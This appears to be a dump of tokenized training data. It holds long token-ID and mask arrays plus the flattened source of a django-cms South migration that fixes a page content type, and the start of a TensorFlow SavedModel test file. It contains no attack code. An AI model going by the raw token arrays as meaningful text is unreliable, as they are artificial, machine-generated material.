32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 0 ]
[ 1, 1, 1,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-cms
cms/south_migrations/0051_fix_content_type.py
63
16221
# -*- coding: utf-8 -*- import datetime from south.db import db from south.v2 import DataMigration from django.db import models class Migration(DataMigration): def forwards(self, orm): "Write your forwards methods here." try: # Let's fix the brokem page entry ct = orm['contenttypes.ContentType'].objects.get( model='page', name='', app_label='cms') ct.name = 'page' ct.save() except orm['contenttypes.ContentType'].DoesNotExist: # No content type to fix pass def backwards(self, orm): "Write your backwards methods here." models = { u'auth.group': { 'Meta': {'object_name': 'Group'}, u'id': ('django.db.models.fields.AutoField', [], {'primary_key': 'True'}), 'name': ('django.db.models.fields.CharField', [], {'unique': 'True', 'max_length': '80'}), 'permissions': ('django.db.models.fields.related.ManyToManyField', [], {'to': u"orm['auth.Permission']", 'symmetrical': 'False', 'blank': 'True'}) }, u'auth.permission': { 'Meta': {'ordering': "(u'content_type__app_label', u'content_type__model', u'codename')", 'unique_together': "((u'content_type', u'codename'),)", 'object_name': 'Permission'}, 'codename': ('django.db.models.fields.CharField', [], {'max_length': '100'}), 'content_type': ('django.db.models.fields.related.ForeignKey', [], {'to': u"orm['contenttypes.ContentType']"}), u'id': ('django.db.models.fields.AutoField', [], {'primary_key': 'True'}), 'name': ('django.db.models.fields.CharField', [], {'max_length': '50'}) }, u'auth.user': { 'Meta': {'object_name': 'User'}, 'date_joined': ('django.db.models.fields.DateTimeField', [], {'default': 'datetime.datetime.now'}), 'email': ('django.db.models.fields.EmailField', [], {'max_length': '75', 'blank': 'True'}), 'first_name': ('django.db.models.fields.CharField', [], {'max_length': '30', 'blank': 'True'}), 'groups': ('django.db.models.fields.related.ManyToManyField', [], {'symmetrical': 'False', 'related_name': "u'user_set'", 'blank': 'True', 'to': u"orm['auth.Group']"}), u'id': ('django.db.models.fields.AutoField', [], {'primary_key': 'True'}), 'is_active': ('django.db.models.fields.BooleanField', [], {'default': 'True'}), 'is_staff': ('django.db.models.fields.BooleanField', [], {'default': 'False'}), 'is_superuser': ('django.db.models.fields.BooleanField', [], {'default': 'False'}), 'last_login': ('django.db.models.fields.DateTimeField', [], {'default': 'datetime.datetime.now'}), 'last_name': ('django.db.models.fields.CharField', [], {'max_length': '30', 'blank': 'True'}), 'password': ('django.db.models.fields.CharField', [], {'max_length': '128'}), 'user_permissions': ('django.db.models.fields.related.ManyToManyField', [], {'symmetrical': 'False', 'related_name': "u'user_set'", 'blank': 'True', 'to': u"orm['auth.Permission']"}), 'username': ('django.db.models.fields.CharField', [], {'unique': 'True', 'max_length': '30'}) }, 'cms.cmsplugin': { 'Meta': {'object_name': 'CMSPlugin'}, 'changed_date': ('django.db.models.fields.DateTimeField', [], {'auto_now': 'True', 'blank': 'True'}), 'creation_date': ('django.db.models.fields.DateTimeField', [], {'default': 'datetime.datetime.now'}), u'id': ('django.db.models.fields.AutoField', [], {'primary_key': 'True'}), 'language': ('django.db.models.fields.CharField', [], {'max_length': '15', 'db_index': 'True'}), 'level': ('django.db.models.fields.PositiveIntegerField', [], {'db_index': 'True'}), 'lft': ('django.db.models.fields.PositiveIntegerField', [], {'db_index': 'True'}), 'parent': ('django.db.models.fields.related.ForeignKey', [], {'to': "orm['cms.CMSPlugin']", 'null': 'True', 'blank': 'True'}), 'placeholder': ('django.db.models.fields.related.ForeignKey', [], {'to': "orm['cms.Placeholder']", 'null': 'True'}), 'plugin_type': ('django.db.models.fields.CharField', [], {'max_length': '50', 'db_index': 'True'}), 'position': ('django.db.models.fields.PositiveSmallIntegerField', [], {'null': 'True', 'blank': 'True'}), 'rght': ('django.db.models.fields.PositiveIntegerField', [], {'db_index': 'True'}), 'tree_id': ('django.db.models.fields.PositiveIntegerField', [], {'db_index': 'True'}) }, 'cms.globalpagepermission': { 'Meta': {'object_name': 'GlobalPagePermission'}, 'can_add': ('django.db.models.fields.BooleanField', [], {'default': 'True'}), 'can_change': ('django.db.models.fields.BooleanField', [], {'default': 'True'}), 'can_change_advanced_settings': ('django.db.models.fields.BooleanField', [], {'default': 'False'}), 'can_change_permissions': ('django.db.models.fields.BooleanField', [], {'default': 'False'}), 'can_delete': ('django.db.models.fields.BooleanField', [], {'default': 'True'}), 'can_move_page': ('django.db.models.fields.BooleanField', [], {'default': 'True'}), 'can_publish': ('django.db.models.fields.BooleanField', [], {'default': 'True'}), 'can_recover_page': ('django.db.models.fields.BooleanField', [], {'default': 'True'}), 'can_view': ('django.db.models.fields.BooleanField', [], {'default': 'False'}), 'group': ('django.db.models.fields.related.ForeignKey', [], {'to': u"orm['auth.Group']", 'null': 'True', 'blank': 'True'}), u'id': ('django.db.models.fields.AutoField', [], {'primary_key': 'True'}), 'sites': ('django.db.models.fields.related.ManyToManyField', [], {'symmetrical': 'False', 'to': u"orm['sites.Site']", 'null': 'True', 'blank': 'True'}), 'user': ('django.db.models.fields.related.ForeignKey', [], {'to': u"orm['auth.User']", 'null': 'True', 'blank': 'True'}) }, 'cms.page': { 'Meta': {'ordering': "('tree_id', 'lft')", 'unique_together': "(('publisher_is_draft', 'application_namespace'),)", 'object_name': 'Page'}, 'application_namespace': ('django.db.models.fields.CharField', [], {'max_length': '200', 'null': 'True', 'blank': 'True'}), 'application_urls': ('django.db.models.fields.CharField', [], {'db_index': 'True', 'max_length': '200', 'null': 'True', 'blank': 'True'}), 'changed_by': ('django.db.models.fields.CharField', [], {'max_length': '70'}), 'changed_date': ('django.db.models.fields.DateTimeField', [], {'auto_now': 'True', 'blank': 'True'}), 'created_by': ('django.db.models.fields.CharField', [], {'max_length': '70'}), 'creation_date': ('django.db.models.fields.DateTimeField', [], {'auto_now_add': 'True', 'blank': 'True'}), u'id': ('django.db.models.fields.AutoField', [], {'primary_key': 'True'}), 'in_navigation': ('django.db.models.fields.BooleanField', [], {'default': 'True', 'db_index': 'True'}), 'level': ('django.db.models.fields.PositiveIntegerField', [], {'db_index': 'True'}), 'lft': ('django.db.models.fields.PositiveIntegerField', [], {'db_index': 'True'}), 'limit_visibility_in_menu': ('django.db.models.fields.SmallIntegerField', [], {'default': 'None', 'null': 'True', 'db_index': 'True', 'blank': 'True'}), 'login_required': ('django.db.models.fields.BooleanField', [], {'default': 'False'}), 'navigation_extenders': ('django.db.models.fields.CharField', [], {'db_index': 'True', 'max_length': '80', 'null': 'True', 'blank': 'True'}), 'parent': ('django.db.models.fields.related.ForeignKey', [], {'blank': 'True', 'related_name': "'children'", 'null': 'True', 'to': "orm['cms.Page']"}), 'placeholders': ('django.db.models.fields.related.ManyToManyField', [], {'to': "orm['cms.Placeholder']", 'symmetrical': 'False'}), 'publication_date': ('django.db.models.fields.DateTimeField', [], {'db_index': 'True', 'null': 'True', 'blank': 'True'}), 'publication_end_date': ('django.db.models.fields.DateTimeField', [], {'db_index': 'True', 'null': 'True', 'blank': 'True'}), 'published': ('django.db.models.fields.BooleanField', [], {'default': 'False'}), 'publisher_is_draft': ('django.db.models.fields.BooleanField', [], {'default': 'True', 'db_index': 'True'}), 'publisher_public': ('django.db.models.fields.related.OneToOneField', [], {'related_name': "'publisher_draft'", 'unique': 'True', 'null': 'True', 'to': "orm['cms.Page']"}), 'publisher_state': ('django.db.models.fields.SmallIntegerField', [], {'default': '0', 'db_index': 'True'}), 'reverse_id': ('django.db.models.fields.CharField', [], {'db_index': 'True', 'max_length': '40', 'null': 'True', 'blank': 'True'}), 'revision_id': ('django.db.models.fields.PositiveIntegerField', [], {'default': '0'}), 'rght': ('django.db.models.fields.PositiveIntegerField', [], {'db_index': 'True'}), 'site': ('django.db.models.fields.related.ForeignKey', [], {'to': u"orm['sites.Site']"}), 'soft_root': ('django.db.models.fields.BooleanField', [], {'default': 'False', 'db_index': 'True'}), 'template': ('django.db.models.fields.CharField', [], {'default': "'INHERIT'", 'max_length': '100'}), 'tree_id': ('django.db.models.fields.PositiveIntegerField', [], {'db_index': 'True'}) }, 'cms.pagemoderatorstate': { 'Meta': {'ordering': "('page', 'action', '-created')", 'object_name': 'PageModeratorState'}, 'action': ('django.db.models.fields.CharField', [], {'max_length': '3', 'null': 'True', 'blank': 'True'}), 'created': ('django.db.models.fields.DateTimeField', [], {'auto_now_add': 'True', 'blank': 'True'}), u'id': ('django.db.models.fields.AutoField', [], {'primary_key': 'True'}), 'message': ('django.db.models.fields.TextField', [], {'default': "''", 'max_length': '1000', 'blank': 'True'}), 'page': ('django.db.models.fields.related.ForeignKey', [], {'to': "orm['cms.Page']"}), 'user': ('django.db.models.fields.related.ForeignKey', [], {'to': u"orm['auth.User']", 'null': 'True'}) }, 'cms.pagepermission': { 'Meta': {'object_name': 'PagePermission'}, 'can_add': ('django.db.models.fields.BooleanField', [], {'default': 'True'}), 'can_change': ('django.db.models.fields.BooleanField', [], {'default': 'True'}), 'can_change_advanced_settings': ('django.db.models.fields.BooleanField', [], {'default': 'False'}), 'can_change_permissions': ('django.db.models.fields.BooleanField', [], {'default': 'False'}), 'can_delete': ('django.db.models.fields.BooleanField', [], {'default': 'True'}), 'can_move_page': ('django.db.models.fields.BooleanField', [], {'default': 'True'}), 'can_publish': ('django.db.models.fields.BooleanField', [], {'default': 'True'}), 'can_view': ('django.db.models.fields.BooleanField', [], {'default': 'False'}), 'grant_on': ('django.db.models.fields.IntegerField', [], {'default': '5'}), 'group': ('django.db.models.fields.related.ForeignKey', [], {'to': u"orm['auth.Group']", 'null': 'True', 'blank': 'True'}), u'id': ('django.db.models.fields.AutoField', [], {'primary_key': 'True'}), 'page': ('django.db.models.fields.related.ForeignKey', [], {'to': "orm['cms.Page']", 'null': 'True', 'blank': 'True'}), 'user': ('django.db.models.fields.related.ForeignKey', [], {'to': u"orm['auth.User']", 'null': 'True', 'blank': 'True'}) }, 'cms.pageuser': { 'Meta': {'object_name': 'PageUser', '_ormbases': [u'auth.User']}, 'created_by': ('django.db.models.fields.related.ForeignKey', [], {'related_name': "'created_users'", 'to': u"orm['auth.User']"}), u'user_ptr': ('django.db.models.fields.related.OneToOneField', [], {'to': u"orm['auth.User']", 'unique': 'True', 'primary_key': 'True'}) }, 'cms.pageusergroup': { 'Meta': {'object_name': 'PageUserGroup', '_ormbases': [u'auth.Group']}, 'created_by': ('django.db.models.fields.related.ForeignKey', [], {'related_name': "'created_usergroups'", 'to': u"orm['auth.User']"}), u'group_ptr': ('django.db.models.fields.related.OneToOneField', [], {'to': u"orm['auth.Group']", 'unique': 'True', 'primary_key': 'True'}) }, 'cms.placeholder': { 'Meta': {'object_name': 'Placeholder'}, 'default_width': ('django.db.models.fields.PositiveSmallIntegerField', [], {'null': 'True'}), u'id': ('django.db.models.fields.AutoField', [], {'primary_key': 'True'}), 'slot': ('django.db.models.fields.CharField', [], {'max_length': '50', 'db_index': 'True'}) }, 'cms.title': { 'Meta': {'unique_together': "(('language', 'page'),)", 'object_name': 'Title'}, 'creation_date': ('django.db.models.fields.DateTimeField', [], {'default': 'datetime.datetime.now'}), 'has_url_overwrite': ('django.db.models.fields.BooleanField', [], {'default': 'False', 'db_index': 'True'}), u'id': ('django.db.models.fields.AutoField', [], {'primary_key': 'True'}), 'language': ('django.db.models.fields.CharField', [], {'max_length': '15', 'db_index': 'True'}), 'menu_title': ('django.db.models.fields.CharField', [], {'max_length': '255', 'null': 'True', 'blank': 'True'}), 'meta_description': ('django.db.models.fields.TextField', [], {'max_length': '155', 'null': 'True', 'blank': 'True'}), 'page': ('django.db.models.fields.related.ForeignKey', [], {'related_name': "'title_set'", 'to': "orm['cms.Page']"}), 'page_title': ('django.db.models.fields.CharField', [], {'max_length': '255', 'null': 'True', 'blank': 'True'}), 'path': ('django.db.models.fields.CharField', [], {'max_length': '255', 'db_index': 'True'}), 'redirect': ('django.db.models.fields.CharField', [], {'max_length': '255', 'null': 'True', 'blank': 'True'}), 'slug': ('django.db.models.fields.SlugField', [], {'max_length': '255'}), 'title': ('django.db.models.fields.CharField', [], {'max_length': '255'}) }, 'cms.usersettings': { 'Meta': {'object_name': 'UserSettings'}, 'clipboard': ('django.db.models.fields.related.ForeignKey', [], {'to': "orm['cms.Placeholder']", 'null': 'True', 'blank': 'True'}), u'id': ('django.db.models.fields.AutoField', [], {'primary_key': 'True'}), 'language': ('django.db.models.fields.CharField', [], {'max_length': '10'}), 'user': ('django.db.models.fields.related.ForeignKey', [], {'to': u"orm['auth.User']"}) }, u'contenttypes.contenttype': { 'Meta': {'ordering': "('name',)", 'unique_together': "(('app_label', 'model'),)", 'object_name': 'ContentType', 'db_table': "'django_content_type'"}, 'app_label': ('django.db.models.fields.CharField', [], {'max_length': '100'}), u'id': ('django.db.models.fields.AutoField', [], {'primary_key': 'True'}), 'model': ('django.db.models.fields.CharField', [], {'max_length': '100'}), 'name': ('django.db.models.fields.CharField', [], {'max_length': '100'}) }, u'sites.site': { 'Meta': {'ordering': "(u'domain',)", 'object_name': 'Site', 'db_table': "u'django_site'"}, 'domain': ('django.db.models.fields.CharField', [], {'max_length': '100'}), u'id': ('django.db.models.fields.AutoField', [], {'primary_key': 'True'}), 'name': ('django.db.models.fields.CharField', [], {'max_length': '50'}) } } complete_apps = ['cms'] symmetrical = True
bsd-3-clause
[ 3, 1882, 2803, 26, 2774, 13, 24, 1882, 199, 646, 2197, 199, 504, 12919, 14, 697, 492, 1592, 199, 504, 12919, 14, 86, 18, 492, 3918, 9816, 199, 504, 1639, 14, 697, 492, 1709, 199, 199, 533, 12090, 8, 1451, 9816, 304, 339, 347, 17465, 8, 277, 12, 9813, 304, 267, 298, 3534, 2195, 17465, 3102, 2348, 2122, 267, 862, 26, 288, 327, 12230, 1159, 5325, 314, 330, 8742, 77, 2034, 2397, 288, 9428, 275, 9813, 459, 10778, 14, 11282, 2278, 1462, 14, 362, 8, 355, 1402, 534, 1606, 297, 536, 4581, 1145, 63, 1302, 534, 10781, 358, 288, 9428, 14, 354, 275, 283, 1606, 7, 288, 9428, 14, 2117, 342, 267, 871, 9813, 459, 10778, 14, 11282, 2278, 7400, 26, 288, 327, 3091, 1564, 730, 370, 5325, 288, 986, 339, 347, 8552, 8, 277, 12, 9813, 304, 267, 298, 3534, 2195, 8552, 3102, 2348, 2122, 339, 1709, 275, 469, 267, 399, 7, 1178, 14, 923, 356, 469, 288, 283, 3396, 356, 791, 785, 63, 354, 356, 283, 2448, 2267, 288, 399, 7, 344, 356, 661, 1176, 14, 697, 14, 992, 14, 955, 14, 4378, 297, 990, 791, 3327, 63, 498, 356, 283, 549, 1604, 288, 283, 354, 356, 661, 1176, 14, 697, 14, 992, 14, 955, 14, 2183, 297, 990, 791, 3235, 356, 283, 549, 297, 283, 988, 63, 1267, 356, 283, 1257, 1604, 288, 283, 6060, 356, 661, 1176, 14, 697, 14, 992, 14, 955, 14, 2407, 14, 7624, 297, 990, 791, 475, 356, 399, 2, 1025, 459, 1178, 14, 7980, 6256, 283, 10247, 356, 283, 797, 297, 283, 2500, 356, 283, 549, 3071, 267, 1660, 267, 399, 7, 1178, 14, 5693, 356, 469, 288, 283, 3396, 356, 791, 7128, 356, 7340, 85, 7, 1317, 63, 466, 363, 571, 63, 1302, 297, 399, 7, 1317, 63, 466, 363, 1238, 297, 399, 7, 11879, 18106, 283, 3235, 63, 6314, 356, 298, 1332, 85, 7, 1317, 63, 466, 297, 399, 7, 11879, 9878, 283, 785, 63, 354, 356, 283, 7980, 2267, 288, 283, 11879, 356, 661, 1176, 14, 697, 14, 992, 14, 955, 14, 2183, 297, 990, 791, 988, 63, 1267, 356, 283, 1960, 1604, 288, 283, 1317, 63, 466, 356, 661, 1176, 14, 697, 14, 992, 14, 955, 14, 2407, 14, 3190, 297, 990, 791, 475, 356, 399, 2, 1025, 459, 10778, 14, 11282, 6097, 288, 399, 7, 344, 356, 661, 1176, 14, 697, 14, 992, 14, 955, 14, 4378, 297, 990, 791, 3327, 63, 498, 356, 283, 549, 1604, 288, 283, 354, 356, 661, 1176, 14, 697, 14, 992, 14, 955, 14, 2183, 297, 990, 791, 988, 63, 1267, 356, 283, 1400, 3071, 267, 1660, 267, 399, 7, 1178, 14, 751, 356, 469, 288, 283, 3396, 356, 791, 785, 63, 354, 356, 283, 1899, 2267, 288, 283, 602, 63, 11806, 356, 661, 1176, 14, 697, 14, 992, 14, 955, 14, 4626, 297, 990, 791, 885, 356, 283, 2083, 14, 2083, 14, 2131, 1604, 288, 283, 2123, 356, 661, 1176, 14, 697, 14, 992, 14, 955, 14, 16577, 297, 990, 791, 988, 63, 1267, 356, 283, 2194, 297, 283, 2500, 356, 283, 549, 1604, 288, 283, 2246, 63, 354, 356, 661, 1176, 14, 697, 14, 992, 14, 955, 14, 2183, 297, 990, 791, 988, 63, 1267, 356, 283, 1216, 297, 283, 2500, 356, 283, 549, 1604, 288, 283, 2634, 356, 661, 1176, 14, 697, 14, 992, 14, 955, 14, 2407, 14, 7624, 297, 990, 791, 10247, 356, 283, 797, 297, 283, 2407, 63, 354, 356, 298, 85, 7, 751, 63, 409, 4662, 283, 2500, 356, 283, 549, 297, 283, 475, 356, 399, 2, 1025, 459, 1178, 14, 2448, 6097, 288, 399, 7, 344, 356, 661, 1176, 14, 697, 14, 992, 14, 955, 14, 4378, 297, 990, 791, 3327, 63, 498, 356, 283, 549, 1604, 288, 283, 374, 63, 2682, 356, 661, 1176, 14, 697, 14, 992, 14, 955, 14, 5036, 297, 990, 791, 885, 356, 283, 549, 1604, 288, 283, 374, 63, 7018, 356, 661, 1176, 14, 697, 14, 992, 14, 955, 14, 5036, 297, 990, 791, 885, 356, 283, 797, 1604, 288, 283, 374, 63, 11434, 356, 661, 1176, 14, 697, 14, 992, 14, 955, 14, 5036, 297, 990, 791, 885, 356, 283, 797, 1604, 288, 283, 2019, 63, 2886, 356, 661, 1176, 14, 697, 14, 992, 14, 955, 14, 4626, 297, 990, 791, 885, 356, 283, 2083, 14, 2083, 14, 2131, 1604, 288, 283, 2019, 63, 354, 356, 661, 1176, 14, 697, 14, 992, 14, 955, 14, 2183, 297, 990, 791, 988, 63, 1267, 356, 283, 1216, 297, 283, 2500, 356, 283, 549, 1604, 288, 283, 2060, 356, 661, 1176, 14, 697, 14, 992, 14, 955, 14, 2183, 297, 990, 791, 988, 63, 1267, 356, 283, 3933, 1604, 288, 283, 751, 63, 6060, 356, 661, 1176, 14, 697, 14, 992, 14, 955, 14, 2407, 14, 7624, 297, 990, 791, 10247, 356, 283, 797, 297, 283, 2407, 63, 354, 356, 298, 85, 7, 751, 63, 409, 4662, 283, 2500, 356, 283, 549, 297, 283, 475, 356, 399, 2, 1025, 459, 1178, 14, 7980, 6097, 288, 283, 2473, 356, 661, 1176, 14, 697, 14, 992, 14, 955, 14, 2183, 297, 990, 791, 3235, 356, 283, 549, 297, 283, 988, 63, 1267, 356, 283, 1216, 3071, 267, 1660, 267, 283, 10781, 14, 4400, 30873, 356, 469, 288, 283, 3396, 356, 791, 785, 63, 354, 356, 283, 17834, 5061, 2267, 288, 283, 2489, 63, 602, 356, 661, 1176, 14, 697, 14, 992, 14, 955, 14, 4626, 297, 990, 791, 2495, 63, 2131, 356, 283, 549, 297, 283, 2500, 356, 283, 549, 1604, 288, 283, 8782, 63, 602, 356, 661, 1176, 14, 697, 14, 992, 14, 955, 14, 4626, 297, 990, 791, 885, 356, 283, 2083, 14, 2083, 14, 2131, 1604, 288, 399, 7, 344, 356, 661, 1176, 14, 697, 14, 992, 14, 955, 14, 4378, 297, 990, 791, 3327, 63, 498, 356, 283, 549, 1604, 288, 283, 3671, 356, 661, 1176, 14, 697, 14, 992, 14, 955, 14, 2183, 297, 990, 791, 988, 63, 1267, 356, 283, 1046, 297, 283, 697, 63, 1080, 356, 283, 549, 1604, 288, 283, 1896, 356, 661, 1176, 14, 697, 14, 992, 14, 955, 14, 8591, 297, 990, 791, 697 ]
[ 1882, 2803, 26, 2774, 13, 24, 1882, 199, 646, 2197, 199, 504, 12919, 14, 697, 492, 1592, 199, 504, 12919, 14, 86, 18, 492, 3918, 9816, 199, 504, 1639, 14, 697, 492, 1709, 199, 199, 533, 12090, 8, 1451, 9816, 304, 339, 347, 17465, 8, 277, 12, 9813, 304, 267, 298, 3534, 2195, 17465, 3102, 2348, 2122, 267, 862, 26, 288, 327, 12230, 1159, 5325, 314, 330, 8742, 77, 2034, 2397, 288, 9428, 275, 9813, 459, 10778, 14, 11282, 2278, 1462, 14, 362, 8, 355, 1402, 534, 1606, 297, 536, 4581, 1145, 63, 1302, 534, 10781, 358, 288, 9428, 14, 354, 275, 283, 1606, 7, 288, 9428, 14, 2117, 342, 267, 871, 9813, 459, 10778, 14, 11282, 2278, 7400, 26, 288, 327, 3091, 1564, 730, 370, 5325, 288, 986, 339, 347, 8552, 8, 277, 12, 9813, 304, 267, 298, 3534, 2195, 8552, 3102, 2348, 2122, 339, 1709, 275, 469, 267, 399, 7, 1178, 14, 923, 356, 469, 288, 283, 3396, 356, 791, 785, 63, 354, 356, 283, 2448, 2267, 288, 399, 7, 344, 356, 661, 1176, 14, 697, 14, 992, 14, 955, 14, 4378, 297, 990, 791, 3327, 63, 498, 356, 283, 549, 1604, 288, 283, 354, 356, 661, 1176, 14, 697, 14, 992, 14, 955, 14, 2183, 297, 990, 791, 3235, 356, 283, 549, 297, 283, 988, 63, 1267, 356, 283, 1257, 1604, 288, 283, 6060, 356, 661, 1176, 14, 697, 14, 992, 14, 955, 14, 2407, 14, 7624, 297, 990, 791, 475, 356, 399, 2, 1025, 459, 1178, 14, 7980, 6256, 283, 10247, 356, 283, 797, 297, 283, 2500, 356, 283, 549, 3071, 267, 1660, 267, 399, 7, 1178, 14, 5693, 356, 469, 288, 283, 3396, 356, 791, 7128, 356, 7340, 85, 7, 1317, 63, 466, 363, 571, 63, 1302, 297, 399, 7, 1317, 63, 466, 363, 1238, 297, 399, 7, 11879, 18106, 283, 3235, 63, 6314, 356, 298, 1332, 85, 7, 1317, 63, 466, 297, 399, 7, 11879, 9878, 283, 785, 63, 354, 356, 283, 7980, 2267, 288, 283, 11879, 356, 661, 1176, 14, 697, 14, 992, 14, 955, 14, 2183, 297, 990, 791, 988, 63, 1267, 356, 283, 1960, 1604, 288, 283, 1317, 63, 466, 356, 661, 1176, 14, 697, 14, 992, 14, 955, 14, 2407, 14, 3190, 297, 990, 791, 475, 356, 399, 2, 1025, 459, 10778, 14, 11282, 6097, 288, 399, 7, 344, 356, 661, 1176, 14, 697, 14, 992, 14, 955, 14, 4378, 297, 990, 791, 3327, 63, 498, 356, 283, 549, 1604, 288, 283, 354, 356, 661, 1176, 14, 697, 14, 992, 14, 955, 14, 2183, 297, 990, 791, 988, 63, 1267, 356, 283, 1400, 3071, 267, 1660, 267, 399, 7, 1178, 14, 751, 356, 469, 288, 283, 3396, 356, 791, 785, 63, 354, 356, 283, 1899, 2267, 288, 283, 602, 63, 11806, 356, 661, 1176, 14, 697, 14, 992, 14, 955, 14, 4626, 297, 990, 791, 885, 356, 283, 2083, 14, 2083, 14, 2131, 1604, 288, 283, 2123, 356, 661, 1176, 14, 697, 14, 992, 14, 955, 14, 16577, 297, 990, 791, 988, 63, 1267, 356, 283, 2194, 297, 283, 2500, 356, 283, 549, 1604, 288, 283, 2246, 63, 354, 356, 661, 1176, 14, 697, 14, 992, 14, 955, 14, 2183, 297, 990, 791, 988, 63, 1267, 356, 283, 1216, 297, 283, 2500, 356, 283, 549, 1604, 288, 283, 2634, 356, 661, 1176, 14, 697, 14, 992, 14, 955, 14, 2407, 14, 7624, 297, 990, 791, 10247, 356, 283, 797, 297, 283, 2407, 63, 354, 356, 298, 85, 7, 751, 63, 409, 4662, 283, 2500, 356, 283, 549, 297, 283, 475, 356, 399, 2, 1025, 459, 1178, 14, 2448, 6097, 288, 399, 7, 344, 356, 661, 1176, 14, 697, 14, 992, 14, 955, 14, 4378, 297, 990, 791, 3327, 63, 498, 356, 283, 549, 1604, 288, 283, 374, 63, 2682, 356, 661, 1176, 14, 697, 14, 992, 14, 955, 14, 5036, 297, 990, 791, 885, 356, 283, 549, 1604, 288, 283, 374, 63, 7018, 356, 661, 1176, 14, 697, 14, 992, 14, 955, 14, 5036, 297, 990, 791, 885, 356, 283, 797, 1604, 288, 283, 374, 63, 11434, 356, 661, 1176, 14, 697, 14, 992, 14, 955, 14, 5036, 297, 990, 791, 885, 356, 283, 797, 1604, 288, 283, 2019, 63, 2886, 356, 661, 1176, 14, 697, 14, 992, 14, 955, 14, 4626, 297, 990, 791, 885, 356, 283, 2083, 14, 2083, 14, 2131, 1604, 288, 283, 2019, 63, 354, 356, 661, 1176, 14, 697, 14, 992, 14, 955, 14, 2183, 297, 990, 791, 988, 63, 1267, 356, 283, 1216, 297, 283, 2500, 356, 283, 549, 1604, 288, 283, 2060, 356, 661, 1176, 14, 697, 14, 992, 14, 955, 14, 2183, 297, 990, 791, 988, 63, 1267, 356, 283, 3933, 1604, 288, 283, 751, 63, 6060, 356, 661, 1176, 14, 697, 14, 992, 14, 955, 14, 2407, 14, 7624, 297, 990, 791, 10247, 356, 283, 797, 297, 283, 2407, 63, 354, 356, 298, 85, 7, 751, 63, 409, 4662, 283, 2500, 356, 283, 549, 297, 283, 475, 356, 399, 2, 1025, 459, 1178, 14, 7980, 6097, 288, 283, 2473, 356, 661, 1176, 14, 697, 14, 992, 14, 955, 14, 2183, 297, 990, 791, 3235, 356, 283, 549, 297, 283, 988, 63, 1267, 356, 283, 1216, 3071, 267, 1660, 267, 283, 10781, 14, 4400, 30873, 356, 469, 288, 283, 3396, 356, 791, 785, 63, 354, 356, 283, 17834, 5061, 2267, 288, 283, 2489, 63, 602, 356, 661, 1176, 14, 697, 14, 992, 14, 955, 14, 4626, 297, 990, 791, 2495, 63, 2131, 356, 283, 549, 297, 283, 2500, 356, 283, 549, 1604, 288, 283, 8782, 63, 602, 356, 661, 1176, 14, 697, 14, 992, 14, 955, 14, 4626, 297, 990, 791, 885, 356, 283, 2083, 14, 2083, 14, 2131, 1604, 288, 399, 7, 344, 356, 661, 1176, 14, 697, 14, 992, 14, 955, 14, 4378, 297, 990, 791, 3327, 63, 498, 356, 283, 549, 1604, 288, 283, 3671, 356, 661, 1176, 14, 697, 14, 992, 14, 955, 14, 2183, 297, 990, 791, 988, 63, 1267, 356, 283, 1046, 297, 283, 697, 63, 1080, 356, 283, 549, 1604, 288, 283, 1896, 356, 661, 1176, 14, 697, 14, 992, 14, 955, 14, 8591, 297, 990, 791, 697, 0 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1,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Rights Reserved. # # Licensed under the Apache License, Version 2.0 (the "License"); # you may not use this file except in compliance with the License. # You may obtain a copy of the License at # # http://www.apache.org/licenses/LICENSE-2.0 # # Unless required by applicable law or agreed to in writing, software # distributed under the License is distributed on an "AS IS" BASIS, # WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. # See the License for the specific language governing permissions and # limitations under the License. # ============================================================================== """Tests for SavedModel.""" from __future__ import absolute_import from __future__ import division from __future__ import print_function import os from tensorflow.core.framework import types_pb2 from tensorflow.core.protobuf import config_pb2 from tensorflow.core.protobuf import meta_graph_pb2 from tensorflow.python.client import session from tensorflow.python.framework import constant_op from tensorflow.python.framework import dtypes from tensorflow.python.framework import errors from tensorflow.python.framework import ops from tensorflow.python.framework import test_ops from tensorflow.python.framework import test_util from tensorflow.python.lib.io import file_io from tensorflow.python.ops import control_flow_ops from tensorflow.python.ops import math_ops from tensorflow.python.ops import state_ops from tensorflow.python.ops import variables from tensorflow.python.platform import test from tensorflow.python.saved_model import builder as saved_model_builder from tensorflow.python.saved_model import constants from tensorflow.python.saved_model import loader from tensorflow.python.saved_model import loader_impl from tensorflow.python.saved_model import main_op from tensorflow.python.saved_model import signature_def_utils from tensorflow.python.saved_model import tag_constants from tensorflow.python.training import saver_test_utils from tensorflow.python.training import training from tensorflow.python.util import compat SAVED_MODEL_PATH = ("cc/saved_model/testdata/half_plus_two/00000123") def tearDownModule(): file_io.delete_recursively(test.get_temp_dir()) class SavedModelTest(test.TestCase): def _get_export_dir(self, label): return os.path.join(test.get_temp_dir(), label) def _init_and_validate_variable(self, sess, variable_name, variable_value): 